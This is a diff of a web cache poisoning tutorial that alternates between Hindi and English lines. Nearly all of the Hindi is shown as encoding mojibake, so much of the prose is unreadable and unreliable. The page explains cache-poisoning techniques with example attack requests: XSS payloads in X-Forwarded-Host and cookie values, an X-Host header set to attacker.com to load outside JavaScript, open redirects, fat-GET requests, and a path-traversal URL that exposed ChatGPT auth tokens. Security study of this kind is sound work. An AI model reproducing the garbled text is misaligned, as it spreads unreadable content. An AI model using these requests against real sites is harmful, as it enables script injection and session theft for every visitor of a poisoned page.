рдкрд╣рдЪрд╛рди рдФрд░ рдореВрд▓реНрдпрд╛рдВрдХрди -рдЖрдк [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди parameters рдФрд░ headers рдХреЛ brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкреЗрдЬ рдХреА response рдХреЛ рдмрджрд▓ рд░рд╣реЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреЗрдЬ header `X-Forwarded-For` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ client рдХреЛ рд╡рд╣рд╛рдВ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛рдП: +рдЖрдк [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди parameters рдФрд░ headers рдХреЛ **brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдкреЗрдЬ рдХреЗ response рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреЗрдЬ header `X-Forwarded-For` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ client рдХреЛ рд╡рд╣рд╛рдВ рд╕реЗ script рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрджреЗрд╢ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: ```html ``` ### рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рд╕реЗ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) +рдкреИрд░рд╛рдореАрдЯрд░/рд╣реЗрдбрд░ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рдмрд╛рдж рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ **sanitised** рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдпрд╣ **рдХрд╣рд╛рдВ** **getting reflected** рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рд╣реЗрдбрд░ рд╕реЗ response рдХреЛ рдХреИрд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдХреНрдпрд╛ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА рддрд░рд╣ abuse рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдПрдХ XSS рдпрд╛ рдЕрдкрдирд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд JS рдХреЛрдб рд▓реЛрдб рдХрд░рдирд╛? DoS рдХрд░рдирд╛? ...) -### рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░рд╛рдПрдБ +### рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░рд╡рд╛рдПрдБ -Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рд╡рд╣ **page** рдкрд╣рдЪрд╛рди рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ abuse рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдХреМрди рд╕рд╛ **parameter**/**header** рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ **рдХреИрд╕реЗ** **abuse** рдХрд░рдирд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдкреГрд╖реНрда рдХреЛ рдХреИрд╢ рдХрд░рд╛рдирд╛ рд╣реЛрдЧрд╛ред рдЬрд┐рд╕ resource рдХреЛ рдЖрдк cache рдореЗрдВ рд▓рд╛рдирд╛ рдЪрд╛рд╣ рд░рд╣реЗ рд╣реИрдВ рдЙрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдпрд╣ рдХреБрдЫ рд╕рдордп рд▓реЗ рд╕рдХрддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдХреБрдЫ рд╕реЗрдХрдВрдб рддрдХ рдХреЛрд╢рд┐рд╢ рдХрд░рдиреА рдкрдбрд╝ рд╕рдХрддреА рд╣реИред -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` +рд░рд┐рд╕реНрдкреЙрдиреНрд╕ рдореЗрдВ рдореМрдЬреВрдж рд╣реЗрдбрд░ **`X-Cache`** рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ рдорд╛рди **`miss`** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм request cached рдирд╣реАрдВ рдерд╛ рдФрд░ рдорд╛рди **`hit`** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдпрд╣ cached рд╣реЛред\ +рд╣реЗрдбрд░ **`Cache-Control`** рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рднреА рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рдХреЛрдИ resource cache рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ resource рдХрдм рдлрд┐рд░ рд╕реЗ cache рд╣реЛрдЧрд╛: `Cache-Control: public, max-age=1800` -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЗрдбрд░ рд╣реИ **`Vary`**ред рдпрд╣ рд╣реЗрдбрд░ рдЕрдХреНрд╕рд░ рдЙрди рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░реЛрдВ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ **cache key рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛** рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рднрд▓реЗ рд╣реА рд╡реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ unkeyed рд╣реЛрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ attacker рдХреЛ рдЙрд╕ рд▓рдХреНрд╖реНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ `User-Agent` рдкрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕реА рд╡рд┐рд╢рд┐рд╖реНрдЯ `User-Agent` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ users рдХреЗ рд▓рд┐рдП cache рдХреЛ poison рдХрд░ рд╕рдХрддрд╛ рд╣реИред -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +cache рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдФрд░ рд╣реЗрдбрд░ рд╣реИ **`Age`**ред рдпрд╣ рд╕реЗрдХрдВрдб рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ object proxy cache рдореЗрдВ рдХрд┐рддрдиреЗ рд╕рдордп рд╕реЗ рд╣реИред -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +рдХрд┐рд╕реА request рдХреЛ cache рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдЬрд┐рди рд╣реЗрдбрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЙрдирд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рд╣реЗрдбрд░ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ **keyed** рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **victim рдХреЛ рд╡рд╣реА рд╣реЗрдбрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛**ред рд╣рдореЗрд╢рд╛ рд╡рд┐рднрд┐рдиреНрди рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ Cache Poisoning рдХрд╛ **test** рдХрд░реЗрдВ рддрд╛рдХрд┐ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗ рдХрд┐ рдпрд╣ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред ## Exploiting Examples -### Easiest example +### рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рдЙрджрд╛рд╣рд░рдг -A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +`X-Forwarded-For` рдЬреИрд╕реЗ рд╣реЗрдбрд░ рдХреЛ response рдореЗрдВ рдмрд┐рдирд╛ sanitize рдХрд┐рдП рд░рд┐рдлреНрд▓реЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред\ +рдЖрдк рдПрдХ рдмреЗрд╕рд┐рдХ XSS payload рднреЗрдЬ рдХрд░ cache рдХреЛ poison рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬреЛ рдХреЛрдИ рднреА рдкреЗрдЬ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗ рд╡рд╣ XSSed рд╣реЛ рдЬрд╛рдП: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ `/en?region=uk` рдХреЗ рд▓рд┐рдП рдПрдХ request рдХреЛ poison рдХрд░реЗрдЧрд╛, `/en` рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ_ +_Note that this will poison a request to `/en?region=uk` not to `/en`_ ### Cache poisoning to DoS @@ -80,23 +81,23 @@ cache-poisoning-to-dos.md ### Cache poisoning through CDNs -рдЗрд╕ **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд░рд▓ рдкрд░рд┐рджреГрд╢реНрдп рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: +**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд░рд▓ рдкрд░рд┐рджреГрд╢реНрдп рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: -- The CDN will cache anything under `/share/` -- CDN `%2F..%2F` рдХреЛ decode рдпрд╛ normalize рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **path traversal to access other sensitive locations that will be cached** рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- The web server WILL decode and normalize `%2F..%2F`, рдФрд░ `/api/auth/session` рдХреЗ рд╕рд╛рде respond рдХрд░реЗрдЧрд╛, рдЬреЛ **contains the auth token**ред +- CDN `/share/` рдХреЗ рддрд╣рдд рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЛ cache рдХрд░реЗрдЧрд╛ +- CDN `%2F..%2F` рдХреЛ decode рдпрд╛ normalize рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **path traversal to access other sensitive locations that will be cached** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- рд╡реЗрдм рд╕рд░реНрд╡рд░ `%2F..%2F` рдХреЛ decode рдФрд░ normalize рдХрд░реЗрдЧрд╛, рдФрд░ `/api/auth/session` рдХреЗ рд╕рд╛рде response рджреЗрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ **auth token** рд╣реЛрддрд╛ рд╣реИред ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies рдХрд┐рд╕реА рдкреЗрдЬ рдХреЗ response рдореЗрдВ рднреА reflected рд╣реЛ рд╕рдХрддреА рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА XSS рдХреЛ trigger рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП abuse рдХрд░ рд╕рдХреЗрдВ, рддреЛ рдЖрдк рдЙрди рдХрдИ clients рдореЗрдВ XSS рдХрд╛ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ malicious cache response рдХреЛ load рдХрд░рддреЗ рд╣реИрдВред +Cookies рдХрд┐рд╕реА рдкреЗрдЬ рдХреЗ response рдореЗрдВ рднреА reflect рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА XSS рдХреЛ trigger рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП abuse рдХрд░ рд╕рдХреЗрдВ, рддреЛ рдЖрдк рдЙрди рдХрдИ clients рдореЗрдВ XSS exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ malicious cache response рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдЧрд░ vulnerable cookie рдХреЛ users рдмрд╣реБрдд рдЬрд╝реНрдпрд╛рджрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ regular requests cache рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рддреА рд░рд╣реЗрдВрдЧреАред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ the vulnerable cookie рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ, рддреЛ рдирд┐рдпрдорд┐рдд рдЕрдиреБрд░реЛрдз cache рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рддреЗ рд░рд╣реЗрдВрдЧреЗред -### Delimiters, normalization рдФрд░ dots рдХреЗ рд╕рд╛рде рд╡рд┐рд╕рдВрдЧрддрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ +### рдбрд┐рд▓рд┐рдореАрдЯрд░реНрд╕, рдиреЙрд░реНрдорд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдФрд░ рдбреЙрдЯреНрд╕ рдХреЗ рд╕рд╛рде рд╡рд┐рд╕рдВрдЧрддрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рджреЗрдЦреЗрдВ: @@ -105,9 +106,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" cache-poisoning-via-url-discrepancies.md {{#endref}} -### API key рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП path traversal рдХреЗ рд╕рд╛рде Cache poisoning +### Cache poisoning with path traversal to steal API key -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) рдХреИрд╕реЗ рдПрдХ OpenAI API key `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` рдЬреИрд╕реЗ URL рдХреЗ рд╕рд╛рде рдЪреБрд░рд╛рдИ рдЬрд╛ рд╕рдХреА, рдХреНрдпреЛрдВрдХрд┐ `/share/*` рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рднреА рдЪреАрдЬрд╝ Cloudflare рджреНрд╡рд╛рд░рд╛ URL рдХреЛ normalise рдХрд┐рдП рдмрд┐рдирд╛ cache рд╣реЛ рдЬрд╛рддреА рдереА, рдФрд░ URL рдХреЛ normalise рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рдерд╛ рдЬрдм request рд╡реЗрдм рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрддреА рдереАред +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. рдпрд╣ рднреА рдмреЗрд╣рддрд░ рддрд░реАрдХреЗ рд╕реЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: @@ -116,18 +117,18 @@ cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md {{#endref}} -### web cache poisoning vulnerabilities рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП multiple headers рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ +### Using multiple headers to exploit web cache poisoning vulnerabilities -рдХрднреА-рдХрднреА cache рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **exploit several unkeyed inputs** рдХрд░рдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдкрдбрд╝рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдк `X-Forwarded-Host` рдХреЛ рдЕрдкрдиреЗ рдХрдВрдЯреНрд░реЛрд▓ рд╡рд╛рд▓реЗ domain рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ `X-Forwarded-Scheme` рдХреЛ `http` рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдПрдХ **Open redirect** рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИред **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** рдФрд░ redirect рдХреЗ рд▓рд┐рдП `X-Forwarded-Scheme` header рдХреЛ domain рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд░рд╣рд╛ рд╣реЛ, рддреЛ рдЖрдк redirect рджреНрд╡рд╛рд░рд╛ рдкреГрд╖реНрда рдХрд╣рд╛рдБ point рд╣реЛрдЧрд╛ рдЙрд╕реЗ control рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдХрднреА-рдХрднреА рдЖрдкрдХреЛ cache рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **exploit several unkeyed inputs** рдХрд░рдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдкрдбрд╝реЗрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк `X-Forwarded-Host` рдХреЛ рдЕрдкрдиреЗ рдирд┐рдпрдВрддреНрд░рдг рд╡рд╛рд▓реЗ рдбреЛрдореЗрди рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдФрд░ `X-Forwarded-Scheme` рдХреЛ `http` рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдПрдХ **Open redirect** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, рддреЛ рдЖрдк redirect рджреНрд╡рд╛рд░рд╛ рдкреЗрдЬ рдХрд╣рд╛рдВ рдкреЙрдЗрдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### рд╕реАрдорд┐рдд `Vary`header рдХреЗ рд╕рд╛рде рд╢реЛрд╖рдг +### Exploiting with limited `Vary`header -рдпрджрд┐ рдЖрдкрдиреЗ рдкрд╛рдпрд╛ рдХрд┐ **`X-Host`** header рдХреЛ **domain name to load a JS resource** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди response рдореЗрдВ **`Vary`** header **`User-Agent`** рд╕реВрдЪрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рддрдм, рдЖрдкрдХреЛ рдХрд┐рд╕реА рддрд░рд╣ рдкреАрдбрд╝рд┐рдд рдХрд╛ **`User-Agent`** exfiltrate рдХрд░рдиреЗ рдФрд░ рдЙрд╕ user agent рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ cache рдХреЛ poison рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛: +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ **`X-Host`** header рдХреЛ **domain name to load a JS resource** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **`Vary`** header **`User-Agent`** рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ victim рдХреЗ `User-Agent` рдХреЛ exfiltrate рдХрд░рдиреЗ рдФрд░ рдЙрд╕ user agent рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ cache рдХреЛ poison рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдвреВрдБрдврдирд╛ рд╣реЛрдЧрд╛: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -136,7 +137,7 @@ X-Host: attacker.com ``` ### Fat Get -рдПрдХ GET request рднреЗрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрд░реЛрдз URL рдФрд░ body рджреЛрдиреЛрдВ рдореЗрдВ рдореМрдЬреВрдж рд╣реЛред рдпрджрд┐ web server body рдореЗрдВ рдореМрдЬреВрдж рд╡рд╛рд▓реЗ рдХреЛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди cache server URL рдореЗрдВ рдореМрдЬреВрдж рд╡рд╛рд▓реЗ рдХреЛ cache рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рддреЛ рдЬреЛ рднреА рдЙрд╕ URL рддрдХ рдкрд╣реБрдБрдЪреЗрдЧрд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ body рд╕реЗ рдЖрдП parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЬреИрд╕реЗ рдХрд┐ James Kettle рдиреЗ Github website рдкрд░ рдкрд╛рдпрд╛ рд╣реБрдЖ vuln: +URL рдФрд░ body рджреЛрдиреЛрдВ рдореЗрдВ request рд░рдЦрдХрд░ рдПрдХ GET request рднреЗрдЬреЗрдВред рдпрджрд┐ web server body рд╡рд╛рд▓рд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди cache server URL рд╡рд╛рд▓реА рдХреЛ cache рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рддреЛ рдЬреЛ рдХреЛрдИ рднреА рдЙрд╕ URL рддрдХ рдкрд╣реБрдБрдЪреЗрдЧрд╛ рд╡рд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ body рд╕реЗ рдЖрдП parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЬреИрд╕реЗ рдХрд┐ Github рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ James Kettle рджреНрд╡рд╛рд░рд╛ рдкрд╛рдпрд╛ рдЧрдпрд╛ vuln: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -145,70 +146,70 @@ Content-Length: 22 report=innocent-victim ``` -There is a PortSwigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +There is a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Cloacking -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП ruby рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ **parameters** рдХреЛ рдЕрд▓рдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП char **`;`** рдХрд╛ рдЙрдкрдпреЛрдЧ **`&`** рдХреА рдмрдЬрд╛рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ unkeyed parameters values рдХреЛ keyed ones рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓рдиреЗ рдФрд░ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -рдпрд╣рд╛рдВ рд╕реАрдЦреЗрдВ рдХрд┐ рдХреИрд╕реЗ [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) рдХреЛ рдЕрдВрдЬрд╛рдо рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Automated testing for Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 